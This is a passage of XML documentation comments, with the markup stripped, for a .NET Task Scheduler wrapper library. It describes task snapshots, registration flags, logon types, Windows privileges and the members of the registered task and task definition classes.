the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets 